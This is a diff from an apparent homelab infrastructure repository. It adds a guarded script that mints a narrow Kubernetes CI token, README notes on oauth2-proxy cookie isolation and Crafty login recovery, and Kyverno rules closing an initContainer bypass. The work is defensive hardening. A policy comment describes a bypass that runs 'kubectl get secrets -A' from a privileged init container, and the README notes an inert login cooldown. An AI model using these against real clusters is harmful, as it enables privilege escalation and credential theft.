+step "preconditions — cluster side (these block the MINT: without them the token IS privileged)"
+
+kubectl --context "$KCTX" get --raw /version >/dev/null 2>&1 \
+  || die "cannot reach the API server via context '${KCTX}' — nothing below can be measured"
+pass "API server reachable via context ${KCTX}"
+
+# C1: the trigger identity exists (created by Flux from conformance/incluster/rbac.yaml via
+# clusters/base/conformance.yaml). We print object names only, never contents.
+if kubectl --context "$KCTX" -n "$NS" get serviceaccount "$SA" -o name >/dev/null 2>&1; then
+  pass "ServiceAccount ${NS}/${SA} exists"
+else
+  fail_mint "ServiceAccount ${NS}/${SA} is ABSENT — is the 'conformance' Flux Kustomization reconciled?"
+fi
+for kind in role rolebinding; do
+  if kubectl --context "$KCTX" -n "$NS" get "$kind" "$SA" -o name >/dev/null 2>&1; then
+    pass "${kind} ${NS}/${SA} exists"
+  else
+    fail_mint "${kind} ${NS}/${SA} is ABSENT — the token would authenticate but authorize nothing"
+  fi
+done
+
+# C2: THE SECURITY BOUNDARY. Present, Enforce, and Ready. Anything else and we do not mint.
+# `validationFailureAction: Audit` is not a boundary; an unready policy is not a boundary.
+if pol="$(kubectl --context "$KCTX" get clusterpolicy "$POLICY" -o json 2>/dev/null)"; then
+  action="$(jq -r '.spec.validationFailureAction // .spec.rules[0].validate.failureAction // "UNSET"' <<<"$pol")"
+  failpol="$(jq -r '.spec.failurePolicy // "UNSET"' <<<"$pol")"
+  # Kyverno moved readiness from .status.ready to a Ready condition; accept either, and
+  # treat "neither key present" as UNMEASURABLE -> block (fail closed, do not assume ready).
+  ready="$(jq -r '
+      if (.status.ready != null) then (.status.ready | tostring)
+      elif (.status.conditions != null) then
+        ((.status.conditions[] | select(.type == "Ready") | .status) // "UNKNOWN")
+      else "UNKNOWN" end' <<<"$pol")"
+  info "ClusterPolicy ${POLICY}: validationFailureAction=${action} failurePolicy=${failpol} ready=${ready}"
+  [ "$action" = "Enforce" ] || fail_mint "ClusterPolicy ${POLICY} is '${action}', not Enforce — the trigger would be unbounded"
+  [ "$failpol" = "Fail" ]   || fail_mint "ClusterPolicy ${POLICY} failurePolicy='${failpol}', not Fail — a Kyverno outage would admit arbitrary Jobs"
+  case "$ready" in
+    true|True) pass "ClusterPolicy ${POLICY} reports Ready" ;;
+    *)         fail_mint "ClusterPolicy ${POLICY} does not report Ready (got '${ready}') — refusing to assume it is loaded" ;;
+  esac
+else
+  fail_mint "ClusterPolicy ${POLICY} is ABSENT — plan §4's boundary does not exist; a token with 'create jobs' here can run arbitrary code as ${RUNNER_SA}"
+fi
+
+step "preconditions — repo side (these block ONLY arming ${VARIABLE}; the secret may be stored first)"
+
+# R1: the runner image is built and digest-pinned. Without it the Job cannot run run.sh at
+# all (the stock chainsaw image has no bash/python3/kubectl/git) — plan §3 item 1.
+VERSIONS="${REPO_ROOT}/conformance/versions.env"
+if grep -Eq '^[[:space:]]*CONFORMANCE_RUNNER_IMAGE=.*@sha256:[0-9a-f]{64}' "$VERSIONS" 2>/dev/null; then
+  pass "CONFORMANCE_RUNNER_IMAGE is digest-pinned in conformance/versions.env"
+else
+  fail_arm "conformance/versions.env has no digest-pinned CONFORMANCE_RUNNER_IMAGE (plan §3 item 1) — the Job cannot run ./run.sh"
+fi
+
+# R2: the Job template is the real thing, not the skeleton: the admitted image AND an
+# init-container that populates the empty `workspace` volume with the suite at the PR SHA
+# (plan §3 item 2). A template whose image the policy will not admit is a guaranteed denial.
+JOBTPL="${REPO_ROOT}/conformance/incluster/chainsaw-job.yaml"
+if grep -q 'initContainers' "$JOBTPL" 2>/dev/null; then
+  pass "chainsaw-job.yaml declares an initContainers block (workspace population)"
+else
+  fail_arm "chainsaw-job.yaml has no initContainers — 'workspace' is an empty emptyDir and the suite is never delivered (plan §3 item 2)"
+fi
+if grep -q "$RUNNER_IMAGE_PREFIX" "$JOBTPL" 2>/dev/null; then
+  pass "chainsaw-job.yaml uses the digest-pinned image the admission policy admits"
+else
+  fail_arm "chainsaw-job.yaml does not use ${RUNNER_IMAGE_PREFIX}… — every triggered Job would be DENIED by ${POLICY}"
+fi
+
+# R3: ci/conformance.sh actually drives the in-cluster Job. Today it mentions
+# CONFORMANCE_TRIGGER_KUBECONFIG only in a TODO comment and otherwise runs run.sh LOCALLY in
+# the CI job — where there is no credential at all (the runner sets
+# automountServiceAccountToken: false by design), so it can only scaffold-skip. Hence the
+# check must ignore comment lines: a mention in prose is not an implementation.
+#
+# ONE awk, NOT `grep -v … | grep -q …`: under `set -o pipefail` a successful `grep -q` exits
+# early, the upstream grep takes EPIPE, and the pipeline reports non-zero — which would read
+# here as "unwired" exactly when the seam IS wired. A single process cannot have that bug.
+CONF_STAGE="${REPO_ROOT}/ci/conformance.sh"
+if awk '!/^[[:space:]]*#/ && /CONFORMANCE_TRIGGER_KUBECONFIG/ { found = 1 } END { exit !found }' \
+     "$CONF_STAGE" 2>/dev/null; then
+  pass "ci/conformance.sh references CONFORMANCE_TRIGGER_KUBECONFIG in code (in-cluster trigger path wired)"
+else
+  fail_arm "ci/conformance.sh mentions CONFORMANCE_TRIGGER_KUBECONFIG only in comments — the trigger path is UNIMPLEMENTED (plan §3 item 4); arming ${VARIABLE} now only changes which way the stage fails"
+fi
+
+info ""
+info "precondition tally: mint-blocking failures=${MINT_FAIL}  arm-blocking failures=${ARM_FAIL}"
+
+if [ "$MINT_FAIL" -gt 0 ]; then
+  cat >&2 <<EOF
+
+REFUSING TO MINT. ${MINT_FAIL} cluster-side precondition(s) failed.
+
+Minting a token for ${NS}/${SA} while the admission boundary is absent/Audit/unready hands CI
+an identity that can create a Job running as ${RUNNER_SA} (nodes/patch, pods/exec,
+namespaces/patch) with an arbitrary command. That is precisely the escalation
+docs/plans/l2-l3-conformance-ci-wiring.md §4 exists to close, and RBAC cannot close it.
+
+Fix the cluster side first (reconcile platform/kyverno/admission/ and conformance/incluster/,
+confirm the ClusterPolicy is Enforce + Ready), then re-run. Nothing was created.
+EOF
+  exit 1
+fi
+
+if $ARM && [ "$ARM_FAIL" -gt 0 ]; then
+  cat >&2 <<EOF
+
+REFUSING TO ARM ${VARIABLE}. ${ARM_FAIL} repo-side precondition(s) failed.
+
+Measured 2026-09-29: with ${VARIABLE}=true and no working trigger path, conformance/run.sh
+scaffold-skips all 54 tests at rc 0 and ci/conformance.sh used to print
+"[ ok ] L2/L3 conformance passed" — a fake green on an enforcing required status check. The
+guard now in ci/conformance.sh turns that into exit 1 instead, so arming today does not
+enable L2/L3: it breaks every PR while proving nothing.
+
+Land plan §3 items 1, 2 and 4 first. Re-run WITHOUT --arm-cluster-available to provision the
+secret in the meantime — that part is safe and is step 6's intended order.
+EOF
+  exit 1
+fi
+
+if $DRY_RUN; then
+  step "DRY RUN — stopping here. Nothing was minted, nothing was written."
+  info "secret that WOULD be written: ${SECRET} (repo ${OWNER}/${REPO})"
+  info "variable that WOULD be set:   none — ${VARIABLE} is never touched in --dry-run"
+  # Read-only visibility into what is already there. Gitea never returns secret VALUES.
+  names="$(basic "${API}/actions/secrets" | jq -rc '[.. | objects | select(has("name")) | .name] | unique')" || true
+  info "existing Actions secret names: ${names:-<unreadable>}"
+  cur="$(basic -o "${WORK}/var.json" -w '%{http_code}' "${API}/actions/variables/${VARIABLE}")" || true
+  if [ "$cur" = 200 ]; then
+    info "existing ${VARIABLE} = $(jq -r '.data // "<no data field>"' "${WORK}/var.json")"
+  else
+    info "existing ${VARIABLE}: not set (HTTP ${cur})"
+  fi
+  exit 0
+fi
+
+# ========================================================================================
+# 2. MINT the ServiceAccount token (TokenRequest). This is the only write this script makes
+#    against the cluster, and it creates no durable object.
+# ========================================================================================
+step "minting a ServiceAccount token for ${NS}/${SA} (requested duration ${DURATION})"
+TOKEN="$(kubectl --context "$KCTX" -n "$NS" create token "$SA" --duration="$DURATION")" \
+  || die "kubectl create token failed for ${NS}/${SA}"
+[ -n "$TOKEN" ] || die "kubectl create token returned an empty token"
+info "got a ${#TOKEN}-character token (value NOT shown)"
+
+# Report the ACTUAL expiry from the JWT rather than trusting --duration: the API server caps
+# TokenRequest lifetimes (--service-account-max-token-expiration) and silently shortens.
+jwt_exp() {
+  local payload pad b64
+  payload="$(cut -d. -f2 <<<"$1")"
+  pad=$(( (4 - ${#payload} % 4) % 4 ))
+  b64="$(tr '_-' '/+' <<<"$payload")$(printf '%*s' "$pad" '' | tr ' ' '=')"
+  printf '%s' "$b64" | base64 -d 2>/dev/null | jq -r '.exp // empty' 2>/dev/null || true
+}
+exp="$(jwt_exp "$TOKEN")"
+if [ -n "$exp" ]; then
+  info "token expires: $(date -u -d "@${exp}" '+%Y-%m-%dT%H:%M:%SZ' 2>/dev/null || echo "epoch ${exp}") — re-run this script to rotate"
+else
+  warn "could not decode the token's exp claim; lifetime is UNVERIFIED (requested ${DURATION})"
+fi
+
+# ========================================================================================
+# 3. ASSEMBLE the kubeconfig — SA token + cluster CA + server. Nothing else.
+#
+#    The CA and the server URL are read from the operator's context, but the operator's
+#    client certificate/key are NEVER copied: only .cluster fields are extracted. `config
+#    view --raw` output is held in a variable and discarded, never printed.
+#    Built with jq (not `kubectl config set-credentials --token=…`) so the token never
+#    appears in argv where `ps` can see it.
+# ========================================================================================
+step "assembling the kubeconfig (SA token only — never cluster-admin, never the operator's)"
+raw="$(kubectl --context "$KCTX" config view --raw --minify -o json)" \
+  || die "could not read context '${KCTX}' from the operator kubeconfig"
+SERVER="$(jq -r '.clusters[0].cluster.server // empty' <<<"$raw")"
+CADATA="$(jq -r '.clusters[0].cluster["certificate-authority-data"] // empty' <<<"$raw")"
+CAFILE="$(jq -r '.clusters[0].cluster["certificate-authority"] // empty' <<<"$raw")"
+INSECURE="$(jq -r '.clusters[0].cluster["insecure-skip-tls-verify"] // false | tostring' <<<"$raw")"
+unset raw
+
+[ -n "$SERVER" ] || die "context '${KCTX}' has no cluster.server"
+if [ -n "$SERVER_OVERRIDE" ]; then
+  info "overriding server ${SERVER} -> ${SERVER_OVERRIDE}"
+  SERVER="$SERVER_OVERRIDE"
+fi
+case "$SERVER" in
+  *localhost*|*127.0.0.1*|*://0.0.0.0*)
+    die "server '${SERVER}' is loopback — the CI runner pod cannot reach it. Pass --server with the address the runner uses (the kube-API VIP)." ;;
+esac
+if [ -z "$CADATA" ] && [ -n "$CAFILE" ]; then
+  [ -r "$CAFILE" ] || die "certificate-authority file '${CAFILE}' is not readable"
+  CADATA="$(base64 -w0 <"$CAFILE")"
+fi
+[ -n "$CADATA" ] || die "no cluster CA available for '${KCTX}' (insecure-skip-tls-verify=${INSECURE}); refusing to emit a kubeconfig that trusts anything"
+[ "$INSECURE" = "false" ] || die "context '${KCTX}' sets insecure-skip-tls-verify; refusing to propagate that into CI"
+info "server: ${SERVER}"
+info "CA: ${#CADATA} base64 characters embedded (public certificate, not a secret)"
+
+jq -n --arg srv "$SERVER" --arg ca "$CADATA" --arg tok "$TOKEN" --arg ns "$NS" --arg sa "$SA" '
+{
+  apiVersion: "v1",
+  kind: "Config",
+  clusters:  [ { name: "conformance", cluster: { server: $srv, "certificate-authority-data": $ca } } ],
+  users:     [ { name: $sa, user: { token: $tok } } ],
+  contexts:  [ { name: "conformance", context: { cluster: "conformance", user: $sa, namespace: $ns } } ],
+  "current-context": "conformance"
+}' >"$KC"
+chmod 600 "$KC"
+info "kubeconfig written to the temp dir: $(wc -c <"$KC") bytes (content NOT shown)"
+
+# Prove kubectl can PARSE the file we generated (JSON is valid YAML, but assert it rather
+# than assume it) — this prints only the server we already printed.
+parsed="$(kubectl --kubeconfig "$KC" config view -o jsonpath='{.clusters[0].cluster.server}')" \
+  || die "kubectl cannot parse the generated kubeconfig"
+[ "$parsed" = "$SERVER" ] || die "generated kubeconfig parses to server '${parsed}', expected '${SERVER}'"
+pass "kubectl parses the generated kubeconfig"
+
+# ========================================================================================
+# 4. PROVE it is the narrow identity. Two independent proofs:
+#      a) who the token authenticates AS (SelfSubjectReview)
+#      b) an allow/deny matrix (SelfSubjectAccessReview) — both halves matter: "can create
+#         jobs" proves it works, "cannot get secrets / delete jobs / exec" proves it is not
+#         something wider that happens to include the trigger rights.
+#    All read-only. `auth can-i` answers from the API server's own authorizer.
+# ========================================================================================
+step "verifying the credential is the NARROW trigger identity"
+EXPECT_USER="system:serviceaccount:${NS}:${SA}"
+if who="$(kubectl --kubeconfig "$KC" auth whoami -o jsonpath='{.status.userInfo.username}' 2>/dev/null)"; then
+  [ "$who" = "$EXPECT_USER" ] || die "token authenticates as '${who}', expected '${EXPECT_USER}' — WRONG CREDENTIAL, nothing stored"
+  pass "authenticates as ${who}"
+else
+  warn "'kubectl auth whoami' unavailable (older kubectl / SelfSubjectReview denied) — identity UNVERIFIED by this check; the matrix below still constrains it"
+fi
+
+# A real authorization round-trip, not just a review: `list jobs` is granted by the Role.
+kubectl --kubeconfig "$KC" -n "$NS" get jobs -o name >/dev/null \
+  || die "the minted credential cannot list Jobs in ns ${NS} — the RoleBinding is not effective; nothing stored"
+pass "can list Jobs in ns ${NS} (end-to-end authentication + authorization)"
+
+cani() { # cani <expected yes|no> <verb> <resource...>
+  local want="$1"; shift
+  local got
+  got="$(kubectl --kubeconfig "$KC" auth can-i "$@" 2>/dev/null || true)"
+  case "$got" in
+    yes|no) : ;;
+    *) die "auth can-i '$*' returned '${got:-<nothing>}' — cannot measure the identity's rights; refusing to store an unverified credential" ;;
+  esac
+  if [ "$got" = "$want" ]; then
+    pass "can-i $* -> ${got} (expected)"
+  else
+    die "can-i $* -> ${got}, expected ${want}. This credential is NOT the narrow trigger identity described in conformance/incluster/rbac.yaml. Nothing stored. Do NOT widen that Role to make this pass — investigate what it is actually bound to."
+  fi
+}
+# Granted by the trigger Role (create/get/list/watch jobs; get/list/watch pods + pods/log).
+cani yes create jobs.batch -n "$NS"
+cani yes get    pods       -n "$NS"
+cani yes get    pods/log   -n "$NS"
+# Explicitly NOT granted — each is a specific escape route the Role's comments call out.
+cani no  delete jobs.batch -n "$NS"          # a trigger that can delete can hide a failed run
+cani no  create pods/exec  -n "$NS"          # no execution channel into the runner pod
+cani no  get    secrets    -n "$NS"
+cani no  create jobs.batch -n default        # namespaced Role: no reach outside ns conformance
+cani no  get    nodes                        # the RUNNER has nodes/patch; the trigger must not
+cani no  '*' '*' --all-namespaces            # not cluster-admin, stated as a measurement
+
+# ========================================================================================
+# 5. STORE as the Gitea Actions repo secret, then VERIFY BY READING IT BACK (lesson 2).
+#    The body goes in a 0600 file so the token is not in argv.
+# ========================================================================================
+step "storing the kubeconfig as repo Actions secret ${SECRET}"
+jq -n --rawfile d "$KC" '{data:$d}' >"${WORK}/body.json"
+chmod 600 "${WORK}/body.json"
+code="$(basic -o "${WORK}/put.out" -w '%{http_code}' -X PUT \
+          -H 'Content-Type: application/json' --data @"${WORK}/body.json" \
+          "${API}/actions/secrets/${SECRET}")"
+unset TOKEN
+rm -f "${WORK}/body.json" "$KC"
+if [ "$code" != 201 ] && [ "$code" != 204 ]; then
+  # Safe to echo: the response body is Gitea's error message, not our payload. HTTP 400
+  # "invalid secret name" here means the name hit the reserved GITEA_ prefix (lesson 1).
+  die "PUT ${SECRET} failed: HTTP ${code} -- $(head -c 300 "${WORK}/put.out" 2>/dev/null)"
+fi
+info "PUT returned HTTP ${code}"
+
+# curl -sS exits 0 on an HTTP error, so the status check above is necessary but NOT
+# sufficient: read the object back. Gitea never returns secret VALUES, so this proves
+# PRESENCE BY NAME only — say so rather than implying the content was checked.
+names="$(basic "${API}/actions/secrets" | jq -rc '[.. | objects | select(has("name")) | .name] | unique')"
+grep -q "$SECRET" <<<"$names" \
+  || die "PUT reported HTTP ${code} but ${SECRET} is NOT in ${names} — refusing to claim success"
+pass "stored and VERIFIED PRESENT by read-back: ${names}"
+info "(read-back proves the secret EXISTS; Gitea never returns secret values, so its CONTENT"
+info " is proven only by the first CI run that uses it — see the NOTE below.)"
+info ""
+info "FOR WHOEVER WRITES plan §3 item 4: this secret holds the kubeconfig CONTENT, not a path."
+info "The plan's sketch writes 'kubectl --kubeconfig=\$CONFORMANCE_TRIGGER_KUBECONFIG', which"
+info "would treat it as a filename. ci/conformance.sh must write the env var into a 0600 temp"
+info "file (umask 077, trap-removed) and pass THAT path — an Actions secret is a string, so a"
+info "kubeconfig cannot reach CI any other way."
+
+# ========================================================================================
+# 6. vars.CLUSTER_AVAILABLE — the loaded gun. Only here, only on request, only confirmed.
+# ========================================================================================
+if ! $ARM; then
+  cat <<EOF
+
+==> ${VARIABLE} NOT TOUCHED (no --arm-cluster-available). This is the safe default.
+
+The secret is in place; the conformance job stays gated off until the variable is set. That
+is plan §5's order: land items 1-6, prove them, and only then flip step 7's switch.
+EOF
+else
+  step "arming vars.${VARIABLE}=true — every precondition above is green"
+  cat <<EOF
+    This makes .gitea/workflows/gate.yml's conformance job RUN on every PR. If the
+    in-cluster trigger path misbehaves, ci/conformance.sh will BLOCK (exit 1) rather than
+    fake a green — so the failure mode is loud PRs, not silent false confidence. Undo with:
+      curl -X DELETE .../repos/${OWNER}/${REPO}/actions/variables/${VARIABLE}
+EOF
+  [ -t 0 ] || die "refusing to arm ${VARIABLE} non-interactively — this needs a human confirmation"
+  printf '    Type exactly "ARM %s" to proceed: ' "$VARIABLE"
+  read -r confirm
+  [ "$confirm" = "ARM ${VARIABLE}" ] || die "not confirmed (got '${confirm}') — ${VARIABLE} unchanged. The secret IS stored."
+
+  # Gitea's variables API: POST creates, PUT updates, and the body field is `value` — NOT
+  # `data` as in the secrets API above. Try create, fall back to update. The value "true" is
+  # not a secret, so response bodies are printed here to make a failure diagnosable.
+  vcode="$(basic -o "${WORK}/var.out" -w '%{http_code}' -X POST \
+             -H 'Content-Type: application/json' --data '{"value":"true"}' \
+             "${API}/actions/variables/${VARIABLE}")"
+  if [ "$vcode" != 201 ] && [ "$vcode" != 204 ]; then
+    info "POST returned HTTP ${vcode} ($(head -c 200 "${WORK}/var.out" 2>/dev/null)); trying PUT (variable may already exist)"
+    vcode="$(basic -o "${WORK}/var.out" -w '%{http_code}' -X PUT \
+               -H 'Content-Type: application/json' \
+               --data "$(jq -n --arg n "$VARIABLE" '{name:$n,value:"true"}')" \
+               "${API}/actions/variables/${VARIABLE}")"
+  fi
+  [ "$vcode" = 201 ] || [ "$vcode" = 204 ] \
+    || die "could not set ${VARIABLE}: HTTP ${vcode} -- $(head -c 300 "${WORK}/var.out" 2>/dev/null)"
+  info "write returned HTTP ${vcode}"
+
+  # Unlike a secret, a variable's value IS readable — so verify the VALUE, not just presence.
+  # gate.yml compares `vars.CLUSTER_AVAILABLE == 'true'`, so it must be exactly "true".
+  gcode="$(basic -o "${WORK}/varget.json" -w '%{http_code}' "${API}/actions/variables/${VARIABLE}")"
+  [ "$gcode" = 200 ] || die "stored HTTP ${vcode} but GET ${VARIABLE} returned HTTP ${gcode} — refusing to claim success"
+  val="$(jq -r '.data // .value // empty' "${WORK}/varget.json")"
+  [ "$val" = "true" ] || die "${VARIABLE} reads back as '${val}', not 'true' — gate.yml compares against 'true' exactly"
+  pass "${VARIABLE}=${val} stored and VERIFIED by read-back"
+fi
+
+cat <<EOF
+
+NEXT — and none of it is proven until you watch it happen:
+  1. Open a THROWAWAY PR. Read the conformance job's LOG, not its tick: a skipped Gitea job
+     reports success ("Has been skipped"), and a green tick is not evidence anything ran.
+  2. Confirm a Job appeared in ns ${NS}, ran the touched --requirements subset, and that its
+     artifacts came back. Then break an L3 test deliberately and confirm the gate BLOCKS.
+  3. Only after seeing BOTH directions should the conformance check be added to branch
+     protection (infra/gitea/require-gate.sh's status_check_contexts).
+  4. Diary the token expiry printed above. Re-run this script to rotate; CI fails loudly
+     (401 on the trigger) rather than skipping when it lapses.
+
+ROLLBACK: DELETE the ${VARIABLE} variable (instant SKIP, gate reverts to L0/L1-only) and/or
+DELETE the ${SECRET} secret. The token itself is revoked by deleting the ${NS}/${SA}
+ServiceAccount, which Flux will recreate with a fresh identity.
+EOF

platform/crafty/README.md

@@ -49,9 +49,49 @@ Crafty's UI is gated by a **dedicated oauth2-proxy sidecar in the Crafty pod** (
 `crafty.home.keithjackson.dev`). The `crafty` Service targets the sidecar, never Crafty's `:8443`, so
 the gate is **in the data path** (fail-closed: no valid `platform-admins` session ⇒ no upstream).
 
-> **Note:** Crafty ALSO has its own local admin login (it has no OIDC). After oauth2-proxy admits the
-> user, they still see Crafty's own login page — a second, defense-in-depth factor. The operator logs
-> in with Crafty's local admin credentials (set on first boot). This is expected, not a bug.
+#### Cookie isolation (why the session used to vanish)
+
+This sidecar and the **shared** forward-auth oauth2-proxy are independent instances with **different
+`cookie-secret` values** (measured in-cluster — neither can decrypt the other's cookie). Both used to
+emit oauth2-proxy's *default* cookie names (`_oauth2_proxy`, `_oauth2_proxy_csrf`) scoped to
+`.home.keithjackson.dev`, so the browser held **one** cookie pair for **both**: whichever proxy
+authenticated last clobbered the other's session, and the loser logged
+`No valid authentication in request`, bounced to Keycloak, and — because the Keycloak SSO session was
+still live — was redirected straight back, clobbering the cookie again. That mutual eviction presents
+exactly as *"I signed in to Keycloak but I'm still not signed in."*
+
+Fixed on this side only (renaming the shared proxy's cookie would sign out every other gated app):
+`--cookie-name=_oauth2_proxy_crafty` and a **host-scoped** `--cookie-domain=crafty.home.keithjackson.dev`.
+`--whitelist-domain` stays zone-wide — it governs post-login *redirect* targets, not cookie scope.
+
+#### Crafty's own local login — this is where setup actually blocks
+
+Crafty has **no OIDC**, so after oauth2-proxy admits the user they still meet Crafty's own
+username/password page. That second factor is intended. What was **not** intended — and what made the
+service impossible to set up — is that **nothing documented where that password comes from**.
+
+Crafty generates it **once, on first boot only**, when the users table is empty
+(`main.py` `FRESH_INSTALL` → `DatabaseBuilder.default_settings()`), and writes it to
+**`/crafty/app/config/default-creds.txt`** (mode `0600`, on the `config` subPath of the PVC). It is
+**never** in git and **cannot** be recovered from git: a rebuild onto a fresh PVC generates a *new*
+random password. Submitting anything else yields `POST /api/v2/auth/login/` → **401**, which is exactly
+what a browser sees with no hint as to why.
+
+**→ Retrieval, rotation, and lost-password recovery: [`../../runbooks/crafty-admin-credential.md`](../../runbooks/crafty-admin-credential.md).**
+
+Two traps that runbook covers:
+
+- Crafty's `set_passwd` console command is **unreachable** in Kubernetes — it calls
+  `getpass.getpass()` and so needs a TTY, while the container runs `main.py -d -i` (daemon).
+  Recovery therefore has to go through the DB with Crafty's own argon2 hasher.
+- Crafty's own 3-strikes brute-force cooldown is **inert behind this sidecar**, verified live. Crafty
+  *records* failed attempts under `get_remote_ip()` (which honours `X-Forwarded-For` — the live
+  tracker key is the chain `"192.168.2.132, 10.0.0.123"`) but *checks* for a cooldown under
+  `self.request.remote_ip`, which behind the sidecar is always `127.0.0.1`. The two halves key
+  differently, so `get_recent_attempts()` always reads an empty list and `max_login_attempts: 3`
+  never fires. Good news for the operator (**repeated guesses cannot lock you out**), but it means
+  the only thing actually limiting who can reach the login form is the oauth2-proxy
+  `platform-admins` gate — worth knowing before anyone treats that cooldown as a control.
 
 ### Keycloak client
 

platform/crafty/deployment.yaml

@@ -150,7 +150,27 @@ spec:
             # Single provider => 302 straight to Keycloak, no oauth2-proxy interstitial button.
             - --skip-provider-button=true
             - --redirect-url=https://crafty.${BASE_DOMAIN}/oauth2/callback
-            - --cookie-domain=.${BASE_DOMAIN}
+            # ── COOKIE ISOLATION (bug fix 2026-09-29) ────────────────────────────────────────────
+            # This sidecar and the SHARED forward-auth oauth2-proxy (platform/oauth2-proxy) are
+            # INDEPENDENT instances holding DIFFERENT cookie-secrets (verified in-cluster: the two
+            # `cookie-secret` values differ, so neither can decrypt the other's cookie). Both used
+            # to emit oauth2-proxy's DEFAULT cookie names (`_oauth2_proxy` and `_oauth2_proxy_csrf`)
+            # scoped to `.${BASE_DOMAIN}`, so the browser kept ONE pair of cookies for BOTH proxies:
+            # whichever authenticated last overwrote the other's session, and the loser then logged
+            # "No valid authentication in request" and bounced to Keycloak -- which, thanks to the
+            # live Keycloak SSO session, silently redirected back and overwrote the cookie again.
+            # That mutual eviction presents EXACTLY as the reported symptom: "I signed in to
+            # Keycloak but I am still not signed in to the app."
+            # Two independent fixes, both applied here (only this side changes -- renaming the
+            # SHARED proxy's cookie would sign every other gated app out):
+            #   1. --cookie-name: a unique name, so the two sessions cannot alias at all.
+            #   2. --cookie-domain: HOST-scoped. A per-app reverse proxy has no reason to broadcast
+            #      its session to every other host in the zone; the shared proxy keeps the wide
+            #      scope because cross-host forward-auth is precisely its job.
+            # --whitelist-domain deliberately stays zone-wide: it governs permitted post-login
+            # REDIRECT targets, not cookie scope.
+            - --cookie-name=_oauth2_proxy_crafty
+            - --cookie-domain=crafty.${BASE_DOMAIN}
             - --whitelist-domain=.${BASE_DOMAIN}
             - --cookie-secure=true
             - --pass-access-token=true

platform/kyverno/admission/conformance-trigger-job-shape.yaml

@@ -142,3 +142,236 @@ spec:
                   - key: "{{ regex_match('^(--layer|--requirements|--include-scope|--strict-coverage|[A-Za-z0-9][A-Za-z0-9,._-]*)$', element) }}"
                     operator: Equals
                     value: false
+
+    # =========================================================================================
+    # ADDED 2026-09-29 — THE THREE RULES ABOVE WERE BYPASSABLE VIA `initContainers`.
+    #
+    # Every rule above reads `spec.template.spec.containers` (rule 1's pattern, rule 3's
+    # `containers[0].args`) or `volumes` (rule 2). NONE of them read `initContainers`. So the
+    # exact escalation this policy exists to stop — the privileged `conformance-runner` SA
+    # executing an arbitrary command, because Kubernetes places no `use` check on
+    # `serviceAccountName` — was reachable one field over, with `containers[0]` left fully
+    # compliant. MEASURED with the pinned CLI (kyverno v1.19.0) before this rule existed:
+    #
+    #   a Job with serviceAccountName conformance-runner and an initContainer
+    #   `docker.io/library/alpine:latest`, `privileged: true`, running `kubectl get secrets -A`
+    #     ->  pass: 3, fail: 0, warn: 0, error: 0, skip: 0        # ADMITTED
+    #
+    # `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
+    #
+    # WHY THIS PINS A PATH IN THE IMAGE RATHER THAN VETTING A SCRIPT. An init container IS
+    # needed — the suite has to be cloned at the commit under test. But while the clone logic
+    # lived inline as `command: ["/bin/bash","-c"]` + `args: [<script>]`, no policy could tell
+    # the committed script from an attacker's: both are just `args` on a shell. So the clone
+    # logic moved into the runner image at a fixed path
+    # (conformance/incluster/conformance-clone -> /usr/local/bin/conformance-clone) and this
+    # rule pins `command` to that path with NO args. An admitted init container therefore
+    # carries no caller-supplied code at all — only the commit SHA, in env, which the entrypoint
+    # itself validates against ^[0-9a-f]{40}$.
+    #
+    # `deny` conditions rather than a `pattern`: a Kyverno array pattern asserts "at least one
+    # element matches", which would admit the committed clone step PLUS an arbitrary second
+    # init container — the same class of hole rule 2's comment describes for volumes.
+    # =========================================================================================
+    - name: trigger-initcontainers-must-be-the-committed-clone-step
+      # resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
+      # As two separate `all` entries it is a schema error ("match resources not specified")
+      # and the whole policy loads as INVALID, which the CLI reports as a SKIP.
+      match:
+        all:
+          - resources:
+              kinds:
+                - Job
+              namespaces:
+                - conformance
+            subjects:
+              - kind: ServiceAccount
+                name: conformance-trigger
+                namespace: conformance
+      validate:
+        message: >-
+          conformance-trigger Jobs may carry at most ONE initContainer, and it must be the
+          committed clone step: the digest-pinned conformance-runner image,
+          command ["/usr/local/bin/conformance-clone"], NO args, non-root, no privilege
+          escalation, not privileged. An initContainer running a shell with a caller-supplied
+          script is arbitrary code execution as the privileged conformance-runner SA — the
+          escalation the rest of this policy exists to prevent. See
+          conformance/incluster/conformance-clone.
+        foreach:
+          - list: "request.object.spec.template.spec.initContainers"
+            deny:
+              conditions:
+                any:
+                  # At most one. The committed run needs exactly one clone step; a second
+                  # init container has no legitimate purpose and is how you smuggle one in.
+                  - key: "{{ length(request.object.spec.template.spec.initContainers) }}"
+                    operator: GreaterThan
+                    value: 1
+                  # Digest-pinned under the conformance repository path — same rule as
+                  # containers[0], same honest limit (see IMAGE PINNING in the header).
+                  - key: "{{ regex_match('^gitea\\.home\\.keithjackson\\.dev/home-network/conformance-runner@sha256:.+$', element.image) }}"
+                    operator: Equals
+                    value: false
+                  # The baked-in entrypoint, exactly — not a shell, not a second path.
+                  # `join` so this compares a STRING: Equals/NotEquals on arrays is not
+                  # dependable, and `["/bin/sh","-c",...]` must not pass by matching element 0.
+                  - key: "{{ join(' ', not_null(element.command, `[]`)) }}"
+                    operator: NotEquals
+                    value: "/usr/local/bin/conformance-clone"
+                  # NO ARGS. This is the whole point: args on an init container are
+                  # caller-supplied code. Only env may be passed, and the entrypoint validates it.
+                  - key: "{{ length(not_null(element.args, `[]`)) }}"
+                    operator: GreaterThan
+                    value: 0
+                  # not_null(), NOT `||`: JMESPath treats `false` as falsy, so
+                  # `element.securityContext.allowPrivilegeEscalation || `true`` would rewrite
+                  # the COMPLIANT value false into true and deny every good Job.
+                  - key: "{{ not_null(element.securityContext.runAsNonRoot, `false`) }}"
+                    operator: NotEquals
+                    value: true
+                  - key: "{{ not_null(element.securityContext.allowPrivilegeEscalation, `true`) }}"
+                    operator: NotEquals
+                    value: false
+                  - key: "{{ not_null(element.securityContext.privileged, `false`) }}"
+                    operator: NotEquals
+                    value: false
+
+    # =========================================================================================
+    # ADDED 2026-09-29, same review as the rule above: `ephemeralContainers` is the third
+    # container list on a PodSpec, and it was as unread as `initContainers` was.
+    #
+    # Upstream Kubernetes is BELIEVED to reject `ephemeralContainers` in a Job's pod template
+    # (the field is settable only through the `pods/ephemeralcontainers` subresource), which
+    # would make this rule dead weight. THAT WAS NOT VERIFIED against this cluster, and
+    # "probably rejected upstream" is not a boundary. The rule costs one condition, is a no-op
+    # when the field is absent, and removes the need to be right about it. If the API server
+    # does reject it, nothing changes; if it does not, this is the same hole again.
+    # =========================================================================================
